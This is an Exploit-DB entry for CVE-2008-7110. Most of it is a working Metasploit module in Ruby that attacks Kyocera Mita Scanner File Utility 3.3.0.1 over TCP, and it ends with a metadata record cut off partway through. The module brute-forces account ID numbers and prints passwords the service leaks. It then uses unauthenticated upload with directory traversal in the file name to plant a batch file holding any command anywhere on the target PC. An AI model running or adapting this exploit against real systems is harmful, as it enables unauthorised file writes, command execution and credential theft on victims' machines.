Kyocera Mita Scanner File Utility 3.3.0.1 File Transfer Directory Traversal Vulnerability
2008-08-26T00:00:00
ID EDB-ID:32301 Type exploitdb Reporter Seth Fogie Modified 2008-08-26T00:00:00
Description
Kyocera Mita Scanner File Utility 3.3.0.1 File Transfer Directory Traversal Vulnerability. CVE-2008-7110. Remote exploit for windows platform
source: http://www.securityfocus.com/bid/30855/info
Kyocera Mita Scanner File Utility is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied input.
Attackers can exploit this issue to create and overwrite arbitrary files on the affected computer.
Kyocera Mita Scanner File Utility 3.3.0.1 is vulnerable; other versions may also be affected.
module Msf
class Auxiliary::Spoof::Kyocera::FileUtility < Msf::Auxiliary
#
# This exploit affects TCP servers, so we use the TCP client mixin.
#
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Kyocera Mita File Utility File Injection',
'Description' => %q{
This exploit attacks the Kyocera Mita File Utility 3.3.0.1 that is part of a scan to desktop
solution. There are several bugs in this service. First, there is no authentication. This means anyone
can upload a file to the target PC. Second, the file can contain anything, including binary data. Finally,
the file name can be altered to include directory information, thus redirecting the file from
the default upload location to a specified location. Combined, the service will allow a remote attacker
to upload any file to any location on the system. If you do
not know the correct ID number of the client side account, you can use the included getidno command to
scan a system to detect any and all ID numbers. This will also provide you with any associated
passwords required by printer to upload documents.
},
'Author' => 'Seth Fogie <seth@whitewolfsecurity.com>'
)
)
register_options(
[
OptString.new('RPORT', [ true, "Target port - default is 37100", '37100' ]),
OptString.new('RHOST', [ true, "Target host", '1']),
OptString.new('CMD', [ true, "Command", 'calc.exe']),
OptInt.new('IDNO', [ true, "ID number (1-100)", '1']),
OptString.new('IDENT', [ true, "Identification name", 'ANON']),
OptString.new('FILENAME', [ true, "File name (with folder)", 'Kyocera.bat']),
OptString.new('FOLDER', [ false, "Folder (relative to scan folder)", '']),
], self.class
)
end
def auxiliary_commands
return {
"getidno" => "Determine a correct idno",
}
end
#this command detects any and all valid accounts on target machine and returns associated passwords.
def cmd_getidno()
1.upto(100) do |i|
connect
print(".")
# Build the buffer for transmission
buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
# Send it off and get response
sock.put(buf)
sock.get
#add ID number
idno = i
buf = "\x02\x1c\x34\x02" + #details about file name for file utility function
[idno].pack('n') + #ID number
"\x00\x08" +
"\x00\x0d" +
"\x41\x41\x41\x41\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
"\x41\x41\x41\x41\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00"
sock.put(buf)
nulls="\x00\x00"
passTest="\xFF\xFF"
data=sock.get
dataStr=data.to_s
if dataStr[dataStr.length-6,2] == nulls
print("\n")
print_status("Valid account number found: " + i.to_s)
end
if dataStr[dataStr.length-2,2] != passTest
print_status("BONUS! Password! (last four or eight characters of string)" )
j=0
while j<12
printf("%X",data[j])
j+=1
end
print("\n")
end
sock.close
end
print("\n")
end
#
# The exploit sends the specified command into a kyocera.bat file in the specified folder
#
def run
begin
connect
print_status("Sending command...")
# Build the buffer for transmission
buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
# Send it off and get response
sock.put(buf)
sock.get
#add ID number
idno = datastore['IDNO']
ident = datastore['IDENT']
filename = datastore['FILENAME']
folder = datastore['FOLDER']
locationLength = filename.length + folder.length
buf = "\x02\x1c\x34\x02" + #details about file name for file utility function
[idno].pack('n') + #ID number
"\x00\x08" +
"\x00\x0d" +
"\x41\x41\x41\x41" +
"\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
ident +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00"
sock.put(buf)
nulls="\x00\x00"
passTest="\xFF\xFF"
data=sock.get
dataStr=data.to_s
#print_status(nulls)
#print_status(dataStr[dataStr.length-6,2])
if dataStr[dataStr.length-6,2] != nulls
print_status("Invalid account number - use getidno command to find valid idno")
end
if dataStr[dataStr.length-2,2] != passTest
print_status("BONUS! Password! (last four or 8 characters of string)" )
j=0
while j<12
printf("%X",data[j])
j+=1
end
print("\n")
end
buf = "\x00\x54" + #details about file name
"\x30" + #location size (must be x30)
"\x01" + #can be altered to include folder and file
"\x00\x05\x00\x00" +
"\xff\xff\xff\xff\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x24" +
folder + filename
padding = 48-locationLength
j=0
while j<padding
buf += "\x00"
j+=1
end
#"\x4b\x79\x6f\x63\x65\x72\x61\x2e\x62\x61\x74" +
#"\x00\x00\x00"
#add command length
thecommand = datastore['CMD']
cmdLen = thecommand.length
buf += [cmdLen].pack('N')
#add command
buf << thecommand
j=0
#put file
sock.put(buf)
buf = "\x00\x04\x30\x02\x00\x00"
sock.put(buf)
buf="\x00\x04\x30\x05\x53\xdc"
sock.put(buf)
sock.get
buf="\x00\x04\x30\x03\x00\x00"
sock.put(buf)
sock.get
end
end
end
end
{"id": "EDB-ID:32301", "hash": "fc218d27b48d186d796960219b711ece", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Kyocera Mita Scanner File Utility 3.3.0.1 File Transfer Directory Traversal Vulnerability", "description": "Kyocera Mita Scanner File Utility 3.3.0.1 File Transfer Directory Traversal Vulnerability. CVE-2008-7110. Remote exploit for windows platform", "published": "2008-08-26T00:00:00", "modified": "2008-08-26T00:00:00", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:COMPLETE/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/32301/", "reporter": "Seth Fogie", "references": [], "cvelist": ["CVE-2008-7110"], "lastseen": "2016-02-03T16:40:12", "history": [], "viewCount": 3, "enchantments": {"score": {"value": 5.5, "vector": "NONE", "modified": "2016-02-03T16:40:12"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-7110"]}], "modified": "2016-02-03T16:40:12"}, "vulnersScore": 5.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/32301/", "sourceData": "source: http://www.securityfocus.com/bid/30855/info\r\n\r\nKyocera Mita Scanner File Utility is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied input.\r\n\r\nAttackers can exploit this issue to create and overwrite arbitrary files on the affected computer.\r\n\r\nKyocera Mita Scanner File Utility 3.3.0.1 is vulnerable; other versions may also be affected. \r\n\r\nmodule Msf\r\n\r\nclass Auxiliary::Spoof::Kyocera::FileUtility < Msf::Auxiliary\r\n\t\r\n\t#\r\n\t# This exploit affects TCP servers, so we use the TCP client mixin.\r\n\t#\r\n\tinclude Exploit::Remote::Tcp\r\n\t\r\n\tdef initialize(info = {})\r\n\tsuper(update_info(info,\r\n\t\t\r\n\t\t'Name' => 'Kyocera Mita File Utility File Injection',\r\n\t\t'Description' => %q{\r\n\t\t\tThis exploit attacks the Kyocera Mita File Utility 3.3.0.1 that is part of a scan to desktop\r\n\t\t\tsolution. There are several bugs in this service. First, there is no authentication. This means anyone\r\n\t\t\tcan upload a file to the target PC. Second, the file can contain anything, including binary data. Finally,\r\n\t\t\tthe file name can be altered to include directory information, thus redirecting the file from\r\n\t\t\tthe default upload location to a specified location. Combined, the service will allow a remote attacker\r\n\t\t\tto upload any file to any location on the system. If you do\r\n\t\t\tnot know the correct ID number of the client side account, you can use the included getidno command to\r\n\t\t\tscan a system to detect any and all ID numbers. This will also provide you with any associated \r\n\t\t\tpasswords required by printer to upload documents.\r\n\t\t},\r\n\r\n\t\t'Author' => 'Seth Fogie <seth@whitewolfsecurity.com>'\r\n\r\n\t\t)\r\n\t)\r\n\tregister_options(\r\n [\r\n \tOptString.new('RPORT', [ true, \"Target port - default is 37100\", '37100' ]),\r\n \tOptString.new('RHOST', [ true, \"Target host\", '1']),\r\n\t\t \tOptString.new('CMD', [ true, \"Command\", 'calc.exe']),\r\n\t\t\tOptInt.new('IDNO', [ true, \"ID number (1-100)\", '1']),\r\n\t\t\tOptString.new('IDENT', [ true, \"Identification name\", 'ANON']),\r\n\t\t\tOptString.new('FILENAME', [ true, \"File name (with folder)\", 'Kyocera.bat']),\r\n\t\t\tOptString.new('FOLDER', [ false, \"Folder (relative to scan folder)\", '']),\r\n\r\n ], self.class\r\n )\r\nend\r\n\r\n\t\r\n\tdef auxiliary_commands\r\n\t\treturn { \r\n\t\t\t\"getidno\" => \"Determine a correct idno\",\r\n\t\t }\r\n\tend\r\n\r\n\t#this command detects any and all valid accounts on target machine and returns associated passwords.\r\n\tdef cmd_getidno()\r\n\t\t\t\t\r\n\t\t1.upto(100) do |i|\r\n \t\t\r\n\t\t\tconnect\r\n\t\r\n\t\t\tprint(\".\")\r\n\t\t\t\r\n\t\t\t# Build the buffer for transmission\r\n\t\t\tbuf= \"\\x00\\x06\\x34\\x00\\x00\\x02\\x00\\x00\" #control message to PC\r\n\t\r\n\t\t\t# Send it off and get response\r\n\t\t\tsock.put(buf)\r\n\t\t\tsock.get\r\n\t\r\n\t\t\t#add ID number\r\n\t\t\tidno = i\r\n\t\r\n\t\t\tbuf = \"\\x02\\x1c\\x34\\x02\" +\t\t\t#details about file name for file utility function\r\n\t\t\t[idno].pack('n') +\t\t\t\t#ID number\r\n\t\t\t\"\\x00\\x08\" +\r\n\t\t\t\"\\x00\\x0d\" +\r\n\t\t\t\"\\x41\\x41\\x41\\x41\\x00\\x4e\\x53\\x4e\\x5f\\x53\\x4b\\x41\\x4e\\x3a\" +\r\n\t\t\t\"\\x41\\x41\\x41\\x41\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\t\r\n\t\t\tsock.put(buf)\r\n\t\t\tnulls=\"\\x00\\x00\"\r\n\t\t\tpassTest=\"\\xFF\\xFF\"\r\n\t\t\tdata=sock.get\r\n\t\t\tdataStr=data.to_s\r\n\r\n\t\t\tif dataStr[dataStr.length-6,2] == nulls\r\n\t\t\t\tprint(\"\\n\")\r\n\t\t\t\tprint_status(\"Valid account number found: \" + i.to_s)\t\r\n\t\t\tend\r\n\t\t\tif dataStr[dataStr.length-2,2] != passTest\r\n\t\t\t\tprint_status(\"BONUS! Password! (last four or eight characters of string)\" )\r\n\t\t\t\tj=0\r\n\t\t\t\twhile j<12\r\n \t\t\t\tprintf(\"%X\",data[j])\r\n \t\t\t\t\tj+=1\r\n\t\t\t end\r\n\t\t\t\tprint(\"\\n\")\r\n\t\t\tend\r\n\r\n\t\t\t\r\n\t\r\n\t\t\tsock.close\r\n\t\tend\r\n\t\tprint(\"\\n\")\r\n\t\t\t\t\r\n\tend\r\n\t\r\n\r\n#\r\n# The exploit sends the specified command into a kyocera.bat file in the specified folder\r\n#\r\ndef run\r\n\r\n\tbegin\r\n\tconnect\r\n\t\r\n\tprint_status(\"Sending command...\")\r\n\t\r\n\t# Build the buffer for transmission\r\n\tbuf= \"\\x00\\x06\\x34\\x00\\x00\\x02\\x00\\x00\" #control message to PC\r\n\t\r\n\t# Send it off and get response\r\n\tsock.put(buf)\r\n\tsock.get\r\n\t\r\n\t#add ID number\r\n\tidno = datastore['IDNO']\r\n\tident = datastore['IDENT']\r\n\tfilename = datastore['FILENAME']\r\n\tfolder = datastore['FOLDER']\r\n\tlocationLength = filename.length + folder.length\r\n\r\n\t\r\n\tbuf = \"\\x02\\x1c\\x34\\x02\" +\t\t\t#details about file name for file utility function\r\n\t[idno].pack('n') +\t\t\t\t#ID number\r\n\t\"\\x00\\x08\" +\r\n\t\"\\x00\\x0d\" +\r\n\t\"\\x41\\x41\\x41\\x41\" +\r\n\t\"\\x00\\x4e\\x53\\x4e\\x5f\\x53\\x4b\\x41\\x4e\\x3a\" +\r\n\tident +\r\n\t\"\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\r\n\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" 